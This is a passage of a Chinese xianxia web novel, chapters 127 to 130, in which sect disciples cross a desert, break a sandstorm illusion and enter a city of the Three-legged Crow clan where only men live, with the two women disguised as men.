“哦耶!”曾换月欢呼一声,见大师兄没什么表情,又贴心道,“大师兄你若是不想去就我们仨去也行,放心吧就吃个饭很快回来,不会惹事的。” 二师兄:“是啊是啊,我看着她俩,你就呆在这休息吧。” 明易:…… “我想去。” 三人依 旧觉得他是放心不下他们,不过也没再推辞,毕竟人都答应了,再惹是生非干嘛呢。 从梵音门御物去镐京确实很近,不过一会儿便到了。这时已经入夏,晚膳时候的天色还算明亮,太阳下山后就没那么炎热,街上人很多,小食摊位也很多,食物的香味和人声一般嘈杂热闹。 有些酒楼食店的小二在门口大声吆喝着揽客,不过她们四人很少进店里吃饭,看着街边摊位上那些大大方方展示姿色的美食似乎就是一种享受,咽下口水的下一刻便是“老板来一份臊子面/葫芦鸡”。 等色香味俱全的面和鸡都下肚了,仿佛就能感到一种人生最简单的圆满。吃完饭后又散了会步说是消食,东买西买了一些话本小玩意什么的,几人这才心满意足地回了梵音门。 不管任务如何,反正先爽到了。和下了晚课的乐鸿商量了明日几时出发之后,几人便回到了自己的屋里歇息。 亥初过后,明易正在屋里看书,听到外头有些动静,果然没一会就有人敲了门。他似有所感外头的人是谁,飞来外衣穿好后就去开了门,果真是她。 “大师兄。”石映心抬眼看他,“我见你屋里灯亮着。” 明易颔首道:“嗯,你找我什么事?” 石映心一般不弯弯绕绕:“我就是奇怪,你为什么一直不开心?” 他不开心吗?明易并没察觉自己的情绪,只是师妹这么说了,看来是有些……他下意识是想否认,但忽然又想起早上被她拆穿的事,于是谨慎地换了个回答:“很明显吗?” 石映心摇摇头:“一点点,隐隐约约,阴魂不散。” 明易:说得像什么似的。 第127章 不过只有一点点的话:“一点点的情绪是很正常的,人很少时候没有情绪。” “确实。”石映心点点头,“但换月和二师兄的一点点是高兴,大师兄你的一点点是不高兴。” “每个人都不同……”他小心地解释,“也许,是我为了明日的任务担忧?再加上……你难得能察觉我的心情,所以格外在意一些?” “是吗?” “嗯,可能日后你习惯了便好。” 石映心觉得大师兄说得很有道理,她这么多年都没感受过他的心情,就算现在没有刻意去照,也会有些稀奇的……于是松了口气道:“好吧,大师兄你没有不高兴就好。” 明易闻言,觉得心被一撞:“你……你是觉得我不高兴,特来安慰我?” “嗯。”石映心说,“小师妹和二师兄的不高兴都会说出来,但大师兄你不说。我想是要多关照你一些。” 怎么以前不觉得她这么贴心呢?贴心到让他有些说不上来的难过:“我是大师兄,应是我关照你……们。” 石映心摇摇头:“不是这样的,感情都是你来我往的。” 明易无奈道:“关照是能你来我往,感情却不能。” “为什么?” “不然世上怎么有一厢情愿一说?” “一厢情愿是怎么样?” “就是我喜欢你……”他说到这里忽然顿了一下,但只是很短暂的停顿,似乎没什么不对劲,依旧是静静地看着对面之人的眼睛说,“但是你不喜欢我。” 看来一厢情愿是个很伤心的事情。石映心想,不然大师兄为什么光是提到这个词,心里就像吃了乌梅干似的酸酸涩涩的呢? 石映心咽了咽口水,表示了解了:“嗯,知道了,那大师兄你休息吧,不要不高兴了。” “好,你快回去。” “嗯。” 明易看着她离开的背影消失不见,关了门回到屋里,拿起书放在手上发呆。 他原本觉得自己没有多少不开心和担忧,毕竟自我感觉情绪还是很稳定的,一切行为也寻常……但映心这么一说,他才惊觉自己确实一整日都时不时地在想起那对签文,而且还伴着控制不住地臆想,比如映心喜欢上了什么样的人,要离开归壹派去过什么样的生活…… 他以前还笑映心迟钝,现在发现自己才迟钝,甚至完全蒙蔽了自我内心的感性想法,仿佛只看到了理性。 甚至他还胆小、懦弱,不想承担任何有可能失去映心的风险……可他若是依旧这般停滞不前,一直用师兄的身份陪在她身边,也许终有一天她会……喜欢上别人。 明易靠着躺椅,把书盖在了脸上。 隔日。 乐鸿邀请她们一起去吃了早膳再出发,几人昨晚吃得酒足饭饱,对白粥小菜已经没了什么兴趣,礼貌地谢绝了。 三足乌族所在的地方在梵音洲最北部,位置偏远,稍显荒凉,因此没有仙门驿站建设在那;毕竟维持驿站的运行也是需要大量的人力灵力还有灵石的,亏本的生意做不了。 按照乐鸿的规划,他们先从梵音门驿站传送到怀远驿站,然后御物飞行去三足乌族……说到这,乐鸿实诚道:“其实我也不知道三足乌族的具体位置在哪,只晓得一个大概的方向,听说是在一片沙漠的尽头。” “沙漠?”曾换月张了张嘴,“老天奶,我还没见过沙漠呢……” 石映心有些期待:“我也没见过。” “就是一片望不到尽头的沙子嘛,”顾梦真耸了耸肩,“没什么好玩的,指不定还有些危险呢,” 曾换月翻白眼:“你真没有情趣,算了,跟你说你也不懂。” 顾梦真:“曾换月,你……” “好了,”在二人吵起来前大师兄及时控场,“事不宜迟,赶紧出发吧。” “好。” 梵音门驿站==> ===>怀远驿站 从怀远驿站出来,边上是一个不太热闹的草市,看得出来此地是郊外,行人们都是带着行囊的。放眼望去瞧不见城池,也没看见沙漠,想来这个草市是陆路中的小驿站,供旅人歇息补充。 他们寻了最近的一家茶坊想问路,来者是客,自然是要先关照一下对方的生意。在店小二的推荐下点了据说是他们此地的特色茶饮:八宝茶。 说是茶,但里头满满当当的都是料,什么桂圆红枣的,听茶名应是有八样,瞅着好丰富;几人平时喝的都是清茶,这会见了这八宝茶还挺稀奇,一口接一口地都喝光了。 好了可以问正事了。店小二道:“原来几位是要去天阿瀚海,那不远了,出门一直往北边走,半个多时辰便能到。” 乐鸿点点头,又问:“不知施主可听过三足乌族?” “三足乌族?”店小二手上记账的动作一停,诧异道,“你们要去找三足乌族?” 见他的神色似乎有些古怪,曾换月连忙追问:“是啊是啊,怎么了?这位小哥你可是有什么关于他们的小道消息?” “小道消息也算不上……”店小二打量了他们一会,判断道,“你们都是外地来的吧,三足乌族的事我们这里人多少都知道些的。” 顾梦真:“是啊,我们是外地人,所以是什么事啊?” 店小二:“大概从七年前开始吧,三足乌族就销声匿迹了。” 明易:“销声匿迹是何意?” “就是我们外头的人找不到进去的路,同时也再也没见过他们从族里出来。仿佛他们整个族从世上消失了一般,再也没听闻过什么动静了。”店小二回忆道,“他们先前常来我们这小草市做买卖的,后来也有一些人特地去沙漠尽头找他们的行踪……但都是迷路了几天,差点回不来。” 啊?这…… 五人面面相觑,心中都很迷惑。 店小二说着说着,半开玩笑道:“不会已经灭族了吧?毕竟他们族人好像也不多……” 那应该不会的,要不然他们也不会接到这样的任务。 乐鸿苦恼地皱着眉头:“怎么会这样?这位施主,难道是七年前发生了什么大事?” “七年前啊……”店小二想了想,“七年前我还不在这,不过听当时的人说,好像是有一日瞧见沙漠那边的天上红光四射,异象频频,但也仅是如此,没有其他的影响,所 以大伙只是看过便不在意了……不过在这之后,好像确实就没再见过三足乌族了,算是后知后觉。” “这样啊……”几人皆是若有所思,道了谢后便离开了茶坊。 到了外头,乐鸿叹了口气道:“唉,没想到会是这样的情况。” “正常啦,”曾换月宽慰他,“我就知道没有这么顺利。那就别想太多了,先找到这个三足乌族再说。” “对啊。”顾梦真也说,“好在我们有个大致的方向,往北方走就是了。有些异象是凡人发现不了的,既然因果牌派我们来了,那我们定能找到!” 这话说得,也不知道是自信还是对因果牌的信心。 “嗯!”乐鸿看了看几人,笑道,“我想也是。” 于是她们按照店小二说的往北方飞去,果真很快就见到了沙漠的影子,有人在道路尽头的一块大石头上写了“天阿瀚海”四字,笔势潇洒奔放,和之后的景色倒是很适配。 确认了方向没错,于是他们继续飞;从天上往下看去,沙漠的景色和大海很神似,茫茫的起伏,一眼就让人迷失;在此情此景中,人们很难去欣赏什么美景,心中只记挂着出口了;偶尔会看到一些植株和湖泊,像是徒劳的安慰。 他们飞了许久,反正没瞧见什么,于是只埋头飞着,不知不觉中竟然到了沙漠的尽头。几人赶紧停下来,茫然地左顾右盼,曾换月傻眼道:“啊?我们已经飞穿了?可是一个人都没看见啊。没飞歪吧?” 石映心摇摇头:“没有。” 明易也道:“我时刻注意着方向,确实没飞错。” 大师兄和师姐都这么说了,那就没什么好质疑的。曾换月深呼吸叹了口气,双目失神道:“完了,既然天上找不到,看来只能……” 大家都明白她的意思,其实心里也不愿意,徒步走多累多麻烦啊,但还是要打起精神来。不过重头来也不是瞎找的,他们琢磨了一下:既然大家都说三足乌族在沙漠尽头,那就从尽头处往回找;而且他们临近沙漠,肯定是居住在有水有植株的地方,如此便缩小了范围。 “走吧,”商量好后,明易让寒竹剑飞起来,冷酷道,“争取在天黑之前找到三足乌族的下落。” “好——”拉长尾音的无奈妥协。 接下来就是忙忙碌碌茫茫然然地找啊找,在这样的沙漠之中,时间就像流沙一般,无知无觉地就过去了,转眼之间竟然已到了黄昏。几人皆有些疲累,坐在一眼泉水边上休息。 落日时分的沙漠是难得一见的美景。曾换月触景生情地吟出了那句刻在灵魂里的著名诗句,得到师姐的鼓掌和二师兄的调侃:“哎呦不错哦。” 乐鸿也夸曾道友好有文化啊,不过:“此诗中的大漠是指哪里的大漠呢?” 曾换月戳戳沙子:“这个嘛……不知道。” 考试也不考这个啊。反正都是沙漠,通用的啦。 歇了一会,明易率先站起来道:“休息得也差不多了,趁着天黑前我们再找找。” 大伙稀稀拉拉地应了声,拖拖拉拉地站起来,慢慢吞吞地拍了拍身上的沙子。石映心指着某个方向道:“那边有个好高的沙丘,比我们先前见过的都要高,越过去看看?” 明易颔首:“好。” 曾换月大叹一口气:“走吧!想象自己是只任劳任怨的骆驼!” 石映心:? 她还是当人吧。 第128章 于是他们往不远处的沙丘走去,但也许是这沙丘确实高大,明明看着不远,但怎么总是走不到呢?一开始他们还没发现问题,突然石映心说了声:“果然不对劲,这沙丘的大小一直没有变化。” 曾换月听了这话都要生气了:“什么意思哦,我们都走了大半天了!” 明易却说:“不急,这恰恰说明我们的方向是对的,三足乌族很可能就在附近,所以才出现了……鬼打墙。” 曾换月便冷静下来,微风带着沙子抚过她的脸颊:“是哦……鬼打墙的话,这附近难道有阵法?不对啊,这些沙子随风飘,阵法根本画不住。” 顾梦真摸摸下巴,风吹得他发丝飘摇:“难道是什么神奇的宝器?这也挺糟糕的,不会要我们刨沙找吧?” 明易微微颔首,妖风将他的衣袍带起,呼呼作响:“若是真这样,也没办法。” 乐鸿眯起眼睛,大风卷着沙粒让他的眼里忍不住流下泪来:“那我们现在就开始刨沙嘛?” “等等……”石映心捂住脸,感到自己在被狂风浪沙打巴掌,“你们没觉得风好像越来越大了吗?” 你这么一说就很觉得啊! “怎么回事啊……呜哇啊呸呸呸!”曾换月一张嘴说话,嘴巴里就被塞了一大口沙子,她连忙扭头呸出来。 明易用衣袖捂住口鼻,警惕地往边上看去,这一看才发现了古怪:“糟了,我们陷入了圈套。” 几人闻言纷纷四处观望,果然发现他们不知何时已处在了一个风卷旋涡之中,那些狂风卷上沙粒后便有了颜色,沙尘像一堵奔跑的城墙绕着她们打转;黄沙弥漫开来,将本就昏暗的天色染得更黑。 不管如何,先把口鼻捂上,没人想吃沙尘大餐,于是说话变得支吾了起来,大伙默契地传密音。 曾换月在每个人的脑子里大喊:“这破沙子怎么都呸不干净,我嘴巴里好难受!” 顾梦真提建议:“要不你直接咽下去算了,吃点沙子也不会怎么样。” 曾换月:“我才不要!” 顾梦真:“谁叫你不注意……” 明易:“不吵了,先想办法。你们二人可有看出这究竟是阵法还是宝器作祟?” 阵修·曾换月:“不像阵法啊。” 器修·顾梦真:“就算是宝器现在怎么找啊!这风刮得我都要站不稳了!” 剑修·石映心:“没事,我先尝尝咸淡。” 佛修·乐鸿:“什么咸淡?” 就见她提着帝血剑上去就是砍,在沙粒的粉饰下,可以看见她一剑就将风给劈开了——实际上是剑气将风挤压开,所以剑气飞出去后风沙又连了起来,毫沙无损,除了地上多了一道剑痕,但很快就被新来的沙掩盖。 “太快了!”顾梦真摇摇头,“这空档我们出不去。” 石映心想了想:“我应该能出去。” 曾换月:“师姐你要抛下我吗!” 石映心:“不会。” 明易想了想,对几人道:“依我看,离开这卷风也不是办法,还需将其破解,毕竟我们的目的是为了找到三足乌族的入口,这卷风像是一种障眼法,不如换月先试试破阵?” 曾换月咬了下唇:“行吧,既然找不到阵眼,那就先试试我的破阵符!” 说着,她指尖灵光一闪,很快两指之间夹了几张发光的符箓,就见她嘴上飞快地念了什么,手一甩便将几张符箓飞了出去,一一散开围成一圈在空中漂浮着,这下却不动了,似乎有些犹豫? 曾换月瞅着那几张符箓飘在空中的忐忑,很像自己参加运动会时集体跳绳轮到她然后她看着啪啪啪甩起来的长绳忽然就怂了的模样…… 想到这她简直怒其不争,胳膊捂着嘴巴大吼一声:“你们几个愣着干嘛,赶紧上啊!” 符箓感受到主人的愤怒,硬着头皮往卷风中贴去—— 眨眼消失了符影。 曾换月:…… “啪”:感觉脸上被打了一绳。 大伙都沉默了一瞬,明易道:“不如我们从阵眼入手。”意思就是算了吧大家瞎想想好了。 这时候乐鸿忽然在几人脑子里冒出声音:“几位道友,如果只是让这风暂停一会的话,也许我有个办法可行。” 大伙看向他:“什么办法?” “是我们梵音门的心法。”乐鸿一脸实诚,“虽然我没对风沙试过,不过也许能有些效果;届时等风沙暂停,再让曾道友用符破阵……不过这些只是我的设想。” 看他似乎有些不自信,明易颔首道:“多尝试总没错的。” 曾换月也说:“对啊对啊,反正我符多,试试呗。” 顾梦真耸肩:“也没有更好的办法了。” 乐鸿于是应了一声,抗着风走到风沙墙中间,盘腿坐了下来,双手合十在胸前,这是他们梵音门弟子特有的打坐方式。 归壹派四人好奇而安静地望着他,见他面色平静地合上眼睛,双唇轻微而快速地开始念叨着什么,瞧着像是念经施法?但他附法的对象是什么呢?剑?符箓?阵法?宝器? 不是,就这样干念啊!这究竟是…… 最先看出来的当然是镜灵,她目不转睛地盯着佛修微微开合不止的双唇,瞧见里头有什么东西冒了出来:一块块金光?不,是一个个发着光的……字? 不认得,但就见那些字越来越多、一个比一个亮,全数从他嘴里跳了出来,然后飘到了空中,慢悠悠地飘散开来,直到盖住了整个卷风范围。 四人在狂风中把发丝撩到边上,睁大眼睛四处观望,每个人的神情都在问:这是什么东西啊? 眼看着这些金光字越来越多,几人看得是眼花缭乱,很快发现有一些字飞了下来,在群字乱舞中组成了几行……诗?不,用梵音门的话说应是“真言”: 【命由己造,相由心生,世间万物皆是化相;心不动,万物皆不动,心不变,万物皆不变。】 四人:O0O 真言形成之时,只见乐鸿忽地睁眼,声如洪钟一般敲出一字:“静!” 刹那间世间便安静了下来,不管是不敢轻举妄动的四人,亦或是空中乱飘的金字,还是……原先肆意张狂的卷风。 明易率先回过神来,朝曾换月喊道:“快用破阵符!” 方才静得以为自己灵魂出窍的曾换月回过神来,连忙召出几张破阵符施法飞出,这下它们不怂了,纷纷迫不及待地贴上了被停住的风沙——下一刻便是灵光四射,静止的风沙像冻结的冰块,噼里啪啦地被灵光敲开后散了一地。 看来是解决了。 乐鸿眨了眨眼,浑身松懈下来,长长地吐出一口气,虽说面色还挺淡定,但额头上留下的汗珠显明了他的努力。 归壹派四人捧场地鼓起掌来:“好厉害啊乐鸿!” 乐鸿原先因力竭而苍白的脸色立刻红了起来,连连摆手道:“不,我只能撑一会,其实是曾道友的破阵符发挥了关键作用。” 别人谦虚的时候曾换月也会谦虚:“啊呀,没有你让这破风停止,我的符箓也没效啊。” “不……” 石映心:“是你们配合得好。” 曾换月:“嗯没错就是这样。” “欸!”顾梦真忽然叫了一声,手指往侧前方一指,“你们快看那座沙丘!” 几人闻声看去,就见沙丘在渐渐变得透明,与此同时,其掩盖下的真实景况也显露了出来:先是一泓清澈的泉水,边上有小片不算茂密的陌生树林,透过树木之间的间隙望去,可看见一座建在沙漠之上的城池。 “那是……”乐鸿撑着沙子站了起来,喃喃道,“三足乌城?” 天色不知何时已然昏暗,就在这一刻陷入了黑夜。月亮高高挂起,照亮了泉水的镜面,一闪一闪地发出水光,仿佛在召唤着远方的客人;城池中似乎有些火光,缥缈着笼罩在半空,应只是错觉? 荒无人迹的瀚海之中,它虚幻地像是旅人苦苦追寻的宝藏,死亡的那一瞬离它最近。 曾换月目瞪口呆:“我的天奶,真的给我们找到了……” 石映心没多少意外地颔首:“走吧。” “且慢……”乐鸿这才从惊喜中回过神来,叫住了几人,“师父在临行前给了我一个锦囊,让我在进三足乌城之前打开。” 锦囊?这对四人来说可是个稀奇玩意,连连催促他打开。 乐鸿拿出一个朴素的锦囊,又从锦囊里掏出了一张朴素的纸条,展开后一边看一边念:“唯男子可进三足乌城……?” 五人:OO? 石映心:“蝻子是什么?” 乐鸿:“就是男人和女人的男人。” 曾换月看看师姐,又指指自己:“什么意思,我和我师姐这一天白干了?” 乐鸿也懵了啊,呆呆地看着两位女道友不知所措。 还是明易说了句公道话:“观德仙僧应是别有深意,不然应在我们出发前就告知此事,而不是事到临头来个当头一棒。” 意思就是人家不至于捉弄我们。 “对、对啊,”乐鸿连忙替自己的师父说话,“师父定是有别的意思!” 顾梦真指了指他的纸条:“可这纸上的意思不就是这个意思吗,我解读不出来别有深意啊。” “这个……”乐鸿挠挠脸,手指捏着纸条揉啊揉,忽然摸到了什么,翻过一看,后边竟然还有字,“啊!师父在背面写了,这是要我们——” “女扮男装?!” 曾换月:“不是,为什么啊?” 石映心:“三足乌族为何不让女人进?他们族里没有女人吗?” 顾梦真:“该不是单纯地排外吧……那为啥只排女子呢?” 明易:“有些古怪。” 第129章 石映心:“如果我偏用女身进去如何?” 乐鸿苦笑一声:“这这,这不太好……师父的锦囊是很有用的劝告,先前我有一个师兄没听,后来吃了大亏。” 明易合理分析:“这么看来,也许观德仙僧是觉得男子在三足乌城里行事会更方便些?我听闻有些地方女子甚至不能随意出门。” 曾换月立刻跳起来:“对,是有这样落后的地方!” 顾梦真叹了口气,看向两个师妹:“那你们两个怎么说啊?现在回去还是试一试女扮男装?” 石映心摇摇头:“不回去。” 曾换月翻白眼:“哼,我还偏要进去看看这个三足乌族是什么成分!” “既然这样,”明易朝二人微一颔首,“只好委屈你们二人了。” 她们都学过简单的易容术,骗骗修为不如她们的人都不成问题,更别提普通百姓了。当下便摇身一变成了男子的模样,容貌有些相似但已然不同,身量也高了许多。 曾换月变出镜子照了照:“嘿嘿,还是很帅的嘛!” 其实没什么古怪,但熟人看着就是会觉得好笑,比如顾梦真就噗嗤一声:“哈哈哈哈,是还不错,比我差点吧!” 曾换月白眼伺候:“自恋!” 再瞅瞅石映心,似乎也有些新奇,不过对着自己打量了一会便觉得有些无趣:“变好了,什么时候走?” 明易对着这张陌生又熟悉的脸,有些想笑,不过是忍下来了:“走吧。” 他们往林子后的城门走去,走得近了,就能听到里头的动静;路过泉水的时候顾梦真还说:“这么深这么大这么干净的泉水在这沙漠里难得一见啊,而且我看这上头的灵气,估计是个活灵泉;他们是找了个好地方,用水不愁了。” “是啊,”乐鸿赞同地点点头,“看来边上这些植株都是靠这泉水养活的。” 石映心看见泉水的另一边立着一块一人高的石头,上头好像刻了这泉水的名字,她定睛一看,在夜色中靠着泉水的闪光瞧清了:“子……福……泉。” “子福泉?”曾换月掏掏耳朵,掏出一些沙子,“怎么感觉有些古怪的熟悉……不过应该是祝福孩子的意思?” 石映心耸了耸肩:“可能是。” 几人来到城门前,门关得很严实,大概是太久没有外人来了,所以门外也没有派人看守;但她们听到门后似乎有动静,难道看门的人在里头? 夜幕之下,眼神好的石映心发现城门上刻着一个图案,她下意识想到“图腾”一事,但眼前的图腾没有倒三角,而像是一只……三脚的鸡?奇怪,为什么会是鸡呢? 乐鸿似乎没注意这个,主动先 敲了敲门:“有人在吗?” 果不其然,里头传来说话的声音,一人说“怎么回事这么晚了还有人在外头”;另一人说“近日城内戒备森严,城主早就吩咐了不能乱来,得要好好教训此人”;紧接着“嘎吱”一声,门被打开了。 两边人对上视线,一边惊得目瞪口呆,一边平静地等待他们反应过来。毕竟双方都知道这三足乌城很久没来外人了。 “你们、你们是……”左边的守卫瞠目结舌道,“你们……不是我们的族人!” 总算等二人回过神了,明易便顺势解释道:“不错,我们是外来的过路人,在沙漠之中跋涉许久,总算找到了一座城池,不知可否借住几晚让我们修整几日?” 右边的守卫也是同样的惊呆表情:“不、你们是怎么找到我们的?我们三足乌族已经与世隔绝许久!” 明易拿出一早准备好的借口:“纯属巧合。实不相瞒,我们一行人在沙漠中已经迷路了许久,在精疲力竭时忽然遇到狂风,不幸被吹晕了,醒来之后便看到了这座城池。” 乐鸿立刻双手合十拜了拜:“阿弥陀佛,上天有好生之德。” 那两个守卫似乎是信了,惊奇地对视了一眼,一人说“要去禀报城主”,另一人莫名说:“你们……全是男子啊?” “是啊。”曾换月一抬下巴,“怎么了,全是男子不行吗?” 那人挠挠头,脸色有些奇怪:“没……不是不行,只是挺凑巧的,我们三足乌城里也全是男子。” “哦,原来是这……啊?” 不是大哥,这不是“凑巧”的事情吧? 还有你说的“全是男子”是什么意思啊? 在几人还没反应过来这守卫的话是真还是开玩笑时,石映心发问了:“全是男子是什么意思?” “就是……全是男子的意思?” 石映心:“没有女人。” 守卫:“没有女人。” 石映心:“你们是怎么生下来的?” 等等,这问得有些太直白了,瞧见两个守卫瞬间变得不自在的脸色,明易熟练地打圆场道:“我师m……师弟的意思是,先前没听闻过你们三足乌族只有男子这事,而且以前也有人在怀远草市上见过你们族的女子。如今怎么会……” “这个啊。”左边的挠挠脸,“这个说来话长……” 总感觉这二人有些愣头愣脑的,曾换月便想乘胜追击地多问一些,但“那你长话短说”一句还没来得及说出来,忽然听见不远处传来一声厉喝:“谁在那里说话!?” 两个守卫吓了一跳:“是副城主!” 副城主? 几人闻声望去,就见一个腰悬长刀的男人气势汹汹地走来,皱起的眉目在夜色中显得很阴沉,一双发亮的鹰目毫不掩饰地上下左右打量着五人:“你们几个生面孔是谁?” 明易便对这个“副城主”又介绍了一遍他们的身份。 “真是稀奇,”副城主粗眉一抬,“我们三足乌族已经快八年没有外人来了!” 听他的语气,似乎有些感慨和高兴的意思。明易便又客气道:“有幸在荒漠中寻得贵城,不知可否借住几晚?等我们休整几日便会离开。” “欸,不着急。”副城主手一抬,有些指挥的架势,“来者是客,何况是如此机缘巧合之下来的客人,我们三足乌族并非无礼之邦,定是要好好招待一番。几位先随我前去面见城主。” 说着也没问问他们意见,转身便走了;五人面面相觑,有些莫名其妙地跟了上去,脑子里开始传密音: 曾换月嘀咕道:“怎么总觉得这人……有些热情?” 顾梦真也嘀咕:“说要好好招待我们欸?” 石映心说:“他别有所图,目前不知道图什么,但没有恶意。” 镜灵都这么说,那肯定是这么回事了。明易便道:“不管如何都是要见城主,我们先按兵不动,看看他们想干什么。” 乐鸿若有所思:“方才那两位守卫施主说,三足乌城里只有男子……难道这就是师父让石道友和曾道友女扮男装的原因?” 曾换月:“这三足乌城怪怪的,明明以前有女人,现在怎么没有了?” 石映心说:“那两个守卫看到我们全是男子,有些遗憾……但不像是普通的遗憾。” 顾梦真:“不是普通的遗憾,那是什么样的遗憾?” 石映心说不上来。 走了两步后,副城主要和他们说话时才想起来自我介绍,说他叫吴志,身为副城主,平时主要是辅佐城主管理三足乌城、指挥军事防御,日常大概就是巡逻监督等…… 曾换月密音:“听起来啥都能掺和一把。” 站在大路中央,吴志指着最远处那座明显高大许多的殿宇说:“那里便是城主的居所。” 顾梦真密音:“看着不远啊,这城挺小的。” 明易密音:“难怪他们先前要跨越沙漠去怀远交易物资……不过这几年的封闭后似乎也造成多大影响;看来城池虽小,还是能自给自足。” 乐鸿也道:“麻雀虽小,五脏俱全。” 这时候石映心问麻雀城副城主:“还不知道你们城主叫什么名字?” 其实一般人只要尊敬地称呼对方“城主”便是了,最多前边加个姓氏。但客人都这么问了,吴志虽然有些不明显的介怀,但还是回答道:“郑银仁,郑城主。” 曾换月密音:“郑城主,副城主?哈哈哈哈!” 她师姐和二师兄哈哈大笑起来。乐鸿没意会到三人的笑点,明易则是无奈地叹了口气。 吴志带着他们来到边上一个类似马厩的地方,其实这是骆驼厩,里头住着两排骆驼;有些卧地闭眼歇息,有些站着发呆,还有些在吃干草,嘴巴一扭一扭的,见来人了就掀起眼皮瞅一眼,不太爱搭理人的模样。 石映心立刻问:“我们要骑骆驼过去吗?” “不错。”吴志道,“天色已晚,城主府又有些远,再者你们不是说在荒漠中迷路了,找到我们城池时已经精疲力竭?” 顾梦真:“是啊是啊,那就坐骆驼去吧。” 石映心点点头,心中有些兴奋,她还没骑过骆驼呢。 吴志牵了几头还醒着的骆驼出来,示范了一遍怎么上去。怎么说几人都是习武的,如法炮制地很轻松。石映心摸了摸驼峰,软软的,周边萦绕着一股新奇的动物味道,她没闻过。 原以为这骆驼走得很慢呢,果然任何事物都不可貌相,不知是经过了训练还是怎么,跑起来倒是和马小跑的速度很接近,而且很规矩地跟在吴志那头的后面,相互之间隔的距离很适当。 不过一会儿她们便到了城主府,值得一提的是城主府的正对面竟然也有一圈大广场,乐鸿不知她们为何表情有些惊讶,左顾右盼,啥也没啊:“几位道友可是看见了什么?” “没……”曾换月嘟囔道,“可能是巧合吧?” 第130章 吴志以为她们看得是广场正中的雕像,主动介绍道:“这是三足金乌的神像,代表我族侍奉的神明,想来你们也知道是谁了。” 石映心:“不知道,你们侍奉的神明是谁?” 吴志眉头一挑:“自然是太阳神帝俊。” 于是又轮到石映心奇怪了:“原来全是男人的族群也侍奉太阳女神吗?” “你在胡说什么?”吴志面露荒唐地看着她,很是不可思议道,“太阳神自然是男子……你们竟然不知道帝俊?” 曾换月挠挠脸:“啊,也不是什么很大众的神吧?” 没想到这话让吴志有些不快,他长得有些粗犷,一皱脸就看起来像骂人,但他没骂,只是问道:“你们不是梵音洲的人?” 明易看了乐鸿一眼:“不是。” 吴志闻言松了口气:“哦,难怪。” 然后就把自己哄好了,仿佛刚刚挂的脸不是他的一般,很自然道:“前边就是城主府了,几位有请。” “好。” 他们的骆驼停在门前,由边上的侍卫牵着去安置。跟着吴志往城主府里走的时候,曾换月不解地传密音:“这个帝俊到底是谁啊?” 乐鸿却说:“咦,明道友没同你们说过吗?” 石映心觉得这对话似曾相识,瞥了大师兄一眼:“没有。” 乐鸿边想边说,疑似没经过大脑思考:“我记得梵音洲的明家是祭祀帝俊太阳神的最大家族……听说有几百年的历史了;不过奇怪的是十几年前忽然急转直下,分崩离析,如今是大势已去……” 说到这他似乎回过神来,明明是传密音,但下意识捂住了自己的嘴巴,缓缓地、小心地问道:“明道友,这个明家是不是你的……” 明易的密音里听不出什么情绪:“是。” 乐鸿:O0O! 等等,他刚刚说的那些是不是会伤到他啊? 不等他心生愧疚,就听曾换月大惊小怪道:“什么 什么?什么最大家族?原来大师兄的家室这么显赫吗!” 顾梦真贱贱地泼冷水:“乐鸿都说是大势已去了,我看啊,大师兄顶多算是个落魄贵公子。” 石映心:“落魄贵公子是什么意思?” 曾换月:“就是曾经家里有权有势但是现在没权没势只剩下没用的贵族心气的人。” 石映心:“我明白了,大师兄好惨。” 乐鸿:……几位道友关系真好啊,哈哈…… 其实明易不介意她们说这些,只是平时觉得没必要提;当石映心问“怎么回事”的时候,他也就简单概括地说了一下:“我幼时算是有过一段富贵日子,后来就如乐鸿道友所说,猝不及防地家道中落,颠沛流离之中、机缘巧合之下,得以去归壹派求学;至此一心向道,不再记挂前尘往事。” 曾换月哈哈笑道:“大师兄你说什么前尘往事,跟出家似的!” 顾梦真忽然想起什么:“难怪大师兄小时候就一副老成的模样,所以是和这些经历有关?我还以为他天生老头性格哈哈哈!” 石映心:“老头性格是什么意思?” 曾换月:“就是小年轻爱装深沉啦!” 石映心便笑了。 明易压根懒得理她们,连白眼都没翻一个,显然已经很习惯了。 乐鸿虽有些紧张,但见几人都不在乎的模样,心里也松了口气。感觉这几位归壹派的道友都是很好相处的人呢…… 他们脑中这些嘻嘻哈哈的密音外人自然是听不见的,吴志见他们很安分,心中有些满意,走到正殿门前时,边上的守卫朝他行礼问好,不过没发出声音,大概是怕打扰到屋里的人。 吴志走到门口大力敲了敲门,朗声道:“城主,吴志有事求见!” 里头传来一个男声:“进!” 得了应允,吴志将门推开,回头朝几人用表情示意跟上。石映心等人跟着进到殿中,看见有一个面上留着规整胡须的男人坐在书案后,案上堆着一些文书,他从其中抬起头来,脸色是肉眼可见的忧愁。 吴志先行礼问好:“参见城主。” 一般这种礼仪环节,某些人是无动于衷的,只有明易和乐鸿象征性地作揖问好,却没说什么;好在对方这会也不在意这个,就见他微愣地顿住了动作:“吴志,这几人孤没见过。” 吴志立刻说:“主公,这几人确实不是我族人!”说着压着兴奋,飞快地介绍了几人的来历,明易甚至不用多做解释,压根插不上话。 “竟是这样……竟是这样。”郑城主似乎有些恍惚的欣喜,他忽然笑道,“既然他们能进来,我们便能出去!我们三足乌族苦等七年,总算等到了这次机会!” 吴志跟着笑起来:“是啊主公!” 郑银仁一拍书案站起,热情地朝几位外人道:“几位随孤这边请,孤这叫人为你们准备美酒佳肴……” 明易:“不劳城主费心……”大晚上的。 话还没说完对方就一挥手:“不费心!” 曾换月密音:“费心的是下人啦。” 顾梦真密音:“餐桌上好说事!” 石映心密音:“嗯。” 明易虽然怀疑她们只是单纯嘴馋,但也没再说什么。结果几人往餐桌上一坐,先是看到了几盘没见过的蔬菜(?),又瞅见了一大盆没见过且闻着味道很新奇的肉(?)。统一特点就是没见过且看起来很难吃。 “这……”曾换月手上拿着的筷子迟迟没有伸出去,“这些都是什么啊?” 吴志站在边上没入座,毕竟是臣子;这会怎么能让主公介绍,于是他主动说:“这些都是我们三足乌族的特产,你们都没见过吧?”说着一一指示,“这是绿玉盘,这是沙葱,这是刺柳……” 听着好难吃。 顾梦真指着那盆肉问:“这是什么肉?” “骆驼肉。”吴志说,“就是方才我们骑过来的那物。” 几人:…… 听着好残忍。 见大伙莫名沉默,郑银仁还以为他们是客气礼貌呢:“孤已经用过晚膳,几位不必在意孤,尽情享用吧。” 敢于尝试的石映心率先吃了一口绿玉盘,然后放下了筷子,摇了摇头:“不能说是享用,苦用还差不多。” 曾换月听师姐这么说,于是放弃了绿玉盘,夹了块肉吃,这下直接吐出来了:“呸,这熟了吗!” 